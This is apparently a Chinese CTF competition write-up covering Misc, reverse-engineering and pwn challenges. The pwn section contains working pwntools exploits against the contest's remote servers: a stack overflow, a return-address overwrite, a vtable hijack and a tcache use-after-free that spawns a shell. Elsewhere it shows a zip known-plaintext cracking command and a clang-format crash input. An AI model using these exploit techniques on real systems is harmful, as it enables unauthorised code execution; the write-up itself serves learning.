题解


这次比赛和 TBMK 一起打的, 做题的几天搜了很多文章, 感觉学到了很多东西.

Misc

感觉 Misc 这种还是比较有意思的[OK]

贝斯的复仇

附件下载

为防止附件过大, 请用 gen_problem.py 动态生成题目文件 flag.base

打开的时候是不会的, 因为之前没见过这种base.
拿 python 写了个统计字符数量的脚本, 得出全是可打印字符并且少了其中几种, 比如引号方括号之类的.
然后去网上搜, 找到有个 base85, 拿 python 试了一下, 果然可以解密.
那剩下的就简单了, 每解密一次看看输出, 然后一层一层解密, flag 就出来了.

1
2
3
4
5
6
7
8
9
10
11
import base64

with open('flag.base', 'rb') as f:
s = f.read()

tab = [base64.b16decode, base64.b32decode, base64.b64decode, base64.b85decode]
k = [3, 3, 0, 3, 2, 1, 1, 3, 2, 1, 3, 0, 3, 2, 1, 1, 2, 1, 2, 3, 2, 0, 2, 0, 0, 1, 0, 3, 3, 0, 2, 3, 2, 0, 3, 3, 3, 1, 3]

for i in k: s = tab[i](s)
print(str(s, encoding='utf-8'))

这个脚本看起来不是一层一层解密的. 因为比赛后自己整理并重写了一遍.

flag{th4t_1s_b4s3_3nc0des}

capture

附件下载

先用 WireShark 打开, 然后, 呃, 不知道怎么下手. 还是先看看十六进制吧, 搜到一个 flag 字符串, 旁边还有个 PK 头.
查看十六进制
这样目的就比较明确了, 翻了一下, 成功得到了—一个加密的压缩包.
然后在周围搜了一下, 有个qwe123!@#114514, 但那不是密码, 就先放弃了.
几天后突然想一条一条翻, 然后快到末尾的地方有一大串奇怪的base64
奇怪的字符串
解码一下, 恍然大悟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#######################################
# 2021-05-25 19:35:31 #
#######################################
--------------------------------------------------
WindowTitle:图片
Time:2021-05-25 19:35:45
[Delete]
--------------------------------------------------
WindowTitle:新建压缩文件
Time:2021-05-25 19:35:55
[Lshift]SECRET[Return]
--------------------------------------------------
WindowTitle:输入密码
Time:2021-05-25 19:36:01
[Capital]S[Back]ASDFGHJKL;'[Tab]ASDFGHJKL;'[Return]
--------------------------------------------------
WindowTitle:新建压缩文件
Time:2021-05-25 19:36:09
[Return]

mssctf{Pc4p_1s_S0o0o0o0o0o0o0o0o0oEz}

Evilcode

附件下载

是一堆不认识的十六进制文本, 但根据重复序列的特征和文本行数, 猜测是一张图片的 RGB. (之前打 NCTF 碰到过类似的题, 只不过那个直接给的是 bits).
写个脚本填入 RGB, 果然得到了一张图片. 用 QR research 扫一下, 把网址后面的 base16 解码一下就有了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image
from base64 import b16decode

with open('code.bin', 'r') as f:
s = f.read().split('\n')

img = Image.new('RGB', (1080, 2400), (0, 0, 0))
p = img.load()

for j in range(2400):
b = b16decode(s[j].upper())
for i in range(1080):
p[i, j] = (b[3 * i], b[3 * i + 1], b[3 * i + 2])
img.save('out.png')

flag{D0NT_sc4n_QRc0d3_fr0m_Unkn0wns0ur4}

打不开的压缩包

附件下载

压缩包有密码, 没有附加数据, 但里面除了 flag 以外还有个 hint.png, 而 png 图片的文件头我们是知道的, 而且文件的压缩算法是 ZipCrypto Store. 于是去网上找找看有没有什么破解的方法.
找到一篇博客, 链接
根据文中所述的方法, 尝试使用以下命令行:

1
bkcrack -C attachment.zip -c hint.png -p head.png

这个大概跑了十几分钟, 然后出来了三段 key, 把它们填入下面的命令行.
1
2
bkcrack -C attachment.zip -c flag -k c257ccb7 ee535b48 af274d68 -d flag
bkcrack -C attachment.zip -c hint.png -k c257ccb7 ee535b48 af274d68 -d hint.png

成功拿到其中的两个文件.
已解密的文件
然而, 真正难的才刚刚开始
打开其中的 flag, 发现是一堆十进制数字(查看文件)
然后…观察了这段文本的特点, 尝试了很多方法:

  • 直接整数转字节串
  • base 系列算法
  • 由于文本很多以12字节为周期, 尝试了以12个字符为1片切片, 然后对它们进行各种数值操作. 至于文件大小不是12的倍数, 按照”规律”补了个4
  • 把字符数组根据索引模12分为12个类, 再观察它们的特征
  • 重新回到 hint.png, 分析文件是否存在隐写
  • 重新检查 attachment.zip, 分析有无数据附加

然后, 全军覆没[笑哭]
后来根据 TBMK 发现的文章(传送门)
一看, 这不原题嘛, 然后根据这个知道了aa3d这个东西. 感叹到自己学的还是太少了qwq
按照这个做法, 是把文字排列为 97*47 的矩阵, 然后截图并用stegsolve偏移+异或
求解

4559=97*47, 这个是真没想到
不管怎么样, 只能说解题的收获颇丰吧

MiniL{A@3d-1s_Ar7!!}

Re

主要打的是 Re, 做到第七个做不动了[灵魂出窍]

Rust? Rua死它!!!

附件下载

之前看过 rust 的一本参考书的一半的一半的一半
结果, 宏什么的完全不知道, 只是看到类似于 false as u8 之类的不会一脸懵.
其实 rust 学好的话用起来应该还是很舒服的
然后就硬看, 终于看出这是个逐步分析的过程…
其中never是原文(buf), gonna是一个类似字节寄存器的玩意(c), give是当前字节指针(p)的索引. 诶~有brainfuck那味了.

前缀 代号 意义
Never gonna give you up 0 p++
Never gonna let you down 1 p--
Never gonna run around and desert you 2 (*p)++
Never gonna make you cry 3 (*p)--
Never gonna say goodbye 4 c=*p
Never gonna tell a lie and hurt you 5 *p=c

然后把那一大串歌词弄下来, 拿数字代替并包装成数组, 可以写出 python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

never = [148, 59, 143, 112, 121, 186, 106, 133, 55, 90, 164, 166, 167, 121, 174, 147, 148, 167, 99, 86, 81, 161, 151, 149, 132, 56, 88, 188, 141, 127, 151, 63]

with open('1.txt', 'r') as f:
data = eval(f.read())

p = 0
val = [0 for i in never]
for i in data:
if i == 0:
p = p + 1
elif i == 2:
val[p] = val[p] + 1
print(val)
print(bytes([(never[i] - val[i]) & 0xFF for i in range(len(never))]))

感觉这道题还是蛮有意思的[罗小黑_可可爱爱]

flag{A6C33EA2571A2AE26BFAE7BEA2CD8F54}

文件勒索病毒

附件下载, 密码9ss8

这个 exe 短小精悍, 应该是刻意处理过的, 它甚至没有 crt 的 main 函数, start 一来就是主逻辑. 用 DIE 扫描出程序是 vs2019 写的, 对于高版本 vs, 为了保持这种特性, 不太方便使用 CRT 函数(因为它们会链接到 msvcr14x, vcruntimex, 而且产生一堆 thunks), 所以程序只使用了 kernel32.dll 导出的 api 进行控制台操作.

大概分析下这个文件干了什么
主函数
程序先获取控制台输入输出句柄, 然后就可以对控制台进行读写, 可以把它们想象成 stdin 和 stdout. 实际上 crt 函数大多是对 kernel32 的封装.
输入密码后, 程序进入下图:
遍历文件
先设置当前目录到有加密文件的目录, 然后遍历所有文件, 把文件路径和密码字符串传给sub_401220:
解密文件
可以看到, 程序对于打开的文件, 每次读取8个字节并解密, sub_4011F0就是解密函数.
注意这个CreateFileA在这里不是创建文件而是打开文件. 这个我当时学 win32 也一脸懵B. 类似的还有OpenProcess是打开进程(获取句柄)而不是创建进程; CloseWindow是最小化窗口而不是关闭窗口.
解密函数
这个就是解密的过程了, 那么可以想到根据 PNG 文件头去反推密码:

1
2
3
4
5
6
7
8
9
10
png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
enc_header = [0xCE, 0xC5, 0x66, 0x3F, 0x5E, 0x2A, 0xEB, 0x65]

key = [0 for i in range(8)]
for i in range(8):
s = bin(png_header[i] + i)[2:].rjust(8, '0')
s = int(s[-i:] + s[:-i], 2)
key[i] = s ^ enc_header[i]
print(bytes(key))

把这个输入到所给程序就OK

flag{c405e6725f58ba79c4078b02ac93808b68a12499}

saber

附件下载

常见的 Misc 套路, 给了一个图片, 其中 exe 放在 PNG 文件末尾, 用十六进制编辑器可以把文件 dump 出来
然后就简单了, 写个程序异或回来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

unsigned char xor[] = {
0x44, 0x70, 0x26, 0x2C,
0xB8, 0xB3, 0xEA, 0x00,
0xF0, 0xF6, 0xCD, 0xAF,
0x7C, 0xBE, 0xD2, 0x4E,
0x54, 0x78,
};

int main(){
srand(12);
for (int i = 0; i < 18; i++){
srand(rand());
unsigned char s = rand();
putchar(s ^ xor[i]);
}
putchar('\n');
return 0;
}

flag{Exca1i6ur!!!}

题目忘了

附件下载

一看程序反编译结果, 不像是直接用 C 写的. 顺着start往里面看, 可以看到这些字符串:
反编译的函数
看到了 OCRA, 猜测是 ruby 写的.
在网上寻找 OCRA 怎么反编译, 无果. 猜测 exe 是释放脚本并运行(以前某 bat2exe 就是这么做的).
打开程序挂着, 使用 Everything 搜索 .rb, 按修改时间排序, 果然在临时目录有很多*.rb文件
源文件
打开目录, 容易在(root)/src/找到chall.rb文件, 然后就简单了.

一条捷径: 运行程序并输入CTRL+Z并回车, 可以看到源文件 chall.rb.
源文件_

两次 base64 解密即可

flag{1llyasviel_v0n_E1nz6ern}

题目忘了*2

附件下载

题目给出了主程序和一个 .pyc, 显然我们需要逆向这个 python3.10 的字节码.
在网上找了一圈, 好像没有直接反编译成 .py 的反编译器, 最多找到个反编译成类似汇编代码的方法:

1
2
import dis
dis.dis(DataFrame)

得到的结果: 查看
然后就以上面的代码为参考, 一句一句逆出来, 遇到汇编不对的就把自己那一句话改一改.
《易得》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class DataFrame(object):
def __init__(self, flag):
self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
self.key = 'trackonyou'


def enc(self):
S = []
T = []
NEW = [0] * 64
sec_to_plain = list(self.flag)
for i in range(256):
S.append(255 - i)
T.append(ord(self.key[i % len(self.key)]))

j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]

for cnt in range(10):
# May some comment
for i in range(64):
sec_to_plain[i] = S[sec_to_plain[i]]


for i in range(8):
for j in range(8):
tmp = sec_to_plain[8 * i + j]
for k in range(8):
NEW[k + 8 * j] = tmp % 2
tmp = tmp // 2
for j in range(64):
res = j * j * j % 67 % 64
NEW[res], NEW[j] = NEW[j], NEW[res]
for j in range(8):
v78 = 0
v74 = 1
for k in range(8):
v78 |= NEW[k + 8 * j] * v74
v74 *= 2
v70 = j + 8 * i
sec_to_plain[v70] = v78

for i in range(64):
sec_to_plain[i] ^= ord(self.key[cnt])

return sec_to_plain

我敢保证行数都是一样的[蛆音娘_滑稽]
然后就按照源码写出顺序相反的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class DataFrame(object):
def __init__(self, flag):
self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
self.key = 'trackonyou'

def dec(self):
S = []
T = []
NEW = [0] * 64
sec_to_plain = list(self.flag)
for i in range(256):
S.append(255 - i)
T.append(ord(self.key[i % len(self.key)]))

j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]
T = [0] * 256
for i in range(256):
T[S[i]] = i
S = T

for cnt in range(10):
for i in range(64):
sec_to_plain[i] ^= ord(self.key[9 - cnt])

for i in range(8):
for j in range(8):
tmp = sec_to_plain[8 * i + j]
for k in range(8):
NEW[k + 8 * j] = tmp % 2
tmp = tmp // 2
for j in range(64):
j = 63 - j
res = j * j * j % 67 % 64
NEW[res], NEW[j] = NEW[j], NEW[res]
for j in range(8):
v78 = 0
v74 = 1
for k in range(8):
v78 |= NEW[k + 8 * j] * v74
v74 *= 2
v70 = j + 8 * i
sec_to_plain[v70] = v78

for i in range(64):
sec_to_plain[i] = S[sec_to_plain[i]]

return sec_to_plain

data = DataFrame(bytes([34, 88, 205, 160, 220, 83, 10, 177, 84, 202, 92, 236, 170, 160, 226, 98, 63, 118, 177, 33, 188, 125, 192, 27, 240, 214, 205, 211, 255, 28, 247, 36, 195, 0, 158, 144, 153, 34, 80, 87, 45, 40, 125, 106, 214, 6, 187, 93, 189, 13, 61, 70, 43, 65, 180, 175, 52, 97, 144, 233, 125, 76, 60, 66]))
print(bytes(data.dec()))

flag{R3s3@rch_by73c0de_m@yb3_a_gO0d_way_2_l3a7n_python}

baby_vm

附件下载

主函数

猜测有一个虚拟机类, 分析结果见文件
四条指令分别为 0xF1 ~ 0xF4.
根据虚拟机的四种指令执行对应操作, 写个脚本逆过来就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

flag = list(b'flag{xxxxxxxxxxxxxxxxx}')
pad = [0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]
flag = flag + pad + [0] * 24
ans = [0] * 23 + pad + [0x66, 0x58, 0x07, 0x46, 0x6A, 0x74, 0x68, 0x45, 0x4D, 0x59, 0x58, 0x51, 0x62, 0x4A, 0x52, 0x61, 0x6C, 0x60, 0x16, 0x15, 0x16, 0x56, 0x06]

for i in range(23): # 加密过程
flag[46 + i] = flag[i] ^ flag[23 + i] ^ 17

for i in range(23): # 照猫画虎的解密过程
ans[22 - i] = ans[68 - i] ^ ans[45 - i] ^ 17

print([hex(flag[0x2E + i]) for i in range(24)])
print(bytes(ans[:23]))

flag{Wh4t_@_stack_vm_M@573r!}

Rx 的烦恼

附件下载

呃这题没做出来就不贴了, 看了看题解感觉还是想多了, 之前看完流程感觉应该没有flag, 然后一直想着是不是要故意触发异常跳到一个特殊的位置解密magic.

下面是一个分析的半成品:

文件下载

pwn

抱着捞分的心态做了几个题[滑稽]

clang-format

请找出让 clang_format 13.0 崩溃的 cpp 代码, 把代码转为 base64 发送到链接:
http://150.158.88.195:58888/format/?your_base64

题目要求找出clang-format13.0 的漏洞, 既然给的是官方文件, 那肯定会有对应的 bug report. 于是我们可以去网上找相关数据, 这里给出我找到的: 这个网站中的这个邮件

使用:

1
std::vector<std::vector<uint8_t>> var_len_seq{ { 0x80 }, { 0xf5 }, { 0xc3, 0x7f }, { 0xc3, 0xc0 }, { 0xe1, 0x7f }, { 0xe1, 0xc0 }, { 0xe1, 0x81, 0x7f }, }; 

去访问:
1
http://150.158.88.195:58888/format/?c3RkOjp2ZWN0b3I8c3RkOjp2ZWN0b3I8dWludDhfdD4+IHZhcl9sZW5fc2VxeyB7IDB4ODAgfSwgeyAweGY1IH0sIHsgMHhjMywgMHg3ZiB9LCB7IDB4YzMsIDB4YzAgfSwgeyAweGUxLCAweDdmIH0sIHsgMHhlMSwgMHhjMCB9LCB7IDB4ZTEsIDB4ODEsIDB4N2YgfSwgfTsg

成功拿到 flag.

flag{eXcel1Ent1Y_Cr4sH_cLanG-F0rm4t}

blind

就这种题, 我闭着眼睛也能打
nc sec.eqqie.cn 10012
你觉得呢?

一个经典的栈溢出题, 直接造栈溢出, 管他长度是多少, 反正一直重复就对了:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('sec.eqqie.cn', 10012)
b = p.recvline()
print(b)
q = p64(int(b[b.find(b'0x') + 2 : -1], 16))
p.sendline(q * 30)
p.interactive()

flag{I_believe_you_can_be_a_good_fuzzer}

ezlogin

nc sec.eqqie.cn 10013
附件下载

整数溢出 + 栈溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

local = 0
if local:
p = process('./signin')
else:
p = remote('sec.eqqie.cn', 10013)

b = b'ZXFxaWUmY29yMWU='
b = b.ljust(0x89 + 4, b'a') + p32(0x80492B6)
b = b.ljust(0x100, b'a')
p.sendline(b)
print(b)
p.interactive()

flag{try_t0_c0mb1n3_tw0_vulnerabilities_t0g3ther}

note

nc 139.155.15.113 10000
附件下载

new分配的缓冲区大小为0x1C. 原理8太懂, 只知道经过测试两个两个地址间的距离为0x20. 这样的话我们可以通过一个note覆盖下一个note的虚函数表. 那么我们需要一块大小为4的内存指针, 且地址里存放了system函数指针. 这样下一条note调用虚函数时就可拿到shell.
在这里我们选择题目给的gift, 即先把此地址溢出填入note的虚函数表, 再在下一条note修改时输入system函数的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p_bkd = 0x80489CE
o_src = 0x28

local = 0
if local:
p = process('./note')
else:
p = remote('139.155.15.113', 10000)

p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
for _ in range(14): p.recvline()
q = int(p.recvline()[16 : -1], 16) + o_src
print(hex(q))
p.sendline(b'3')
p.sendline(b'0')
p.sendline(b'28')
p.sendline(b'a' * 24 + p32(q))
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'4')
p.sendline(p32(p_bkd))
p.interactive()

flag{cpp_is_easy}

抗疫日记

nc sec.arttnba3.cn 10001
附件下载

这题可以利用的是野指针, 也就是旧指针在释放时没有将指针置零, 导致新内存分配到同一地址时导致意外修改.
对于高版本libc, 分配小内存先会从tcache中申请, 释放后回收, 等再次分配相同大小的内存时, 拿到的地址为上次释放的内存地址.
利用这一点, 我们先创建一条日记, 长度为16, 此时有两块内存, 指针为p1, p2. p1是对象的16字节内存, p2是缓冲区内存
再创建一条, 长度为其他数, 这里选择了96. 申请的内存指针为p3, p4. 含义同上
注意这时p1, p2p3大小均为16字节, 而p4不是, 此时释放第一条日记, 再释放第二条日记. 现在tcache中链表为p2->p1->p3.
再创建一条日记, 此时拿到的指针为p3p1, 此时就可在p1中随意写数据了. 向其中写入/bin/shsystem即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

def get(p, n, echo=True):
for _ in range(n):
b = p.recvline()
if echo: print(str(b, encoding='utf-8'), end='')

local = 0
if local:
p_puts = 0x76210
o_system = 0x49E10 - p_puts
o_cmd = 0x18969B - p_puts
p = process('./diary')
else:
p_puts = 0x875A0
o_system = 0x55410 - p_puts
o_cmd = 0x1B75AA - p_puts
p = remote('sec.arttnba3.cn', 10001)

get(p, 27, False)
q = p.recvline()[50:]
q = int(q[:q.find(b' ')], 16)
c, q = q + o_cmd, q + o_system
print('system at %016X, cmd at %016X' % (q, c))
get(p, 2, False)

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'16')
get(p, 1)
p.sendline(b'/bin/sh')
get(p, 1)

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'96')
get(p, 1)
p.sendline()
get(p, 1)

get(p, 6)
p.sendline(b'3')
get(p, 1)
p.sendline(b'0')

get(p, 6)
p.sendline(b'3')
get(p, 1)
p.sendline(b'1')

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'16')
get(p, 1)
p.sendline(p64(c) + p64(q))
get(p, 1)

get(p, 6)
p.sendline(b'2')
get(p, 1)
p.sendline(b'0')

p.interactive()

flag{h3@p_1s_s0_s1mp13_7o_3xp10I7!}

嗯, 就写到这, 吃饭去了[干物妹!小埋_好累啊]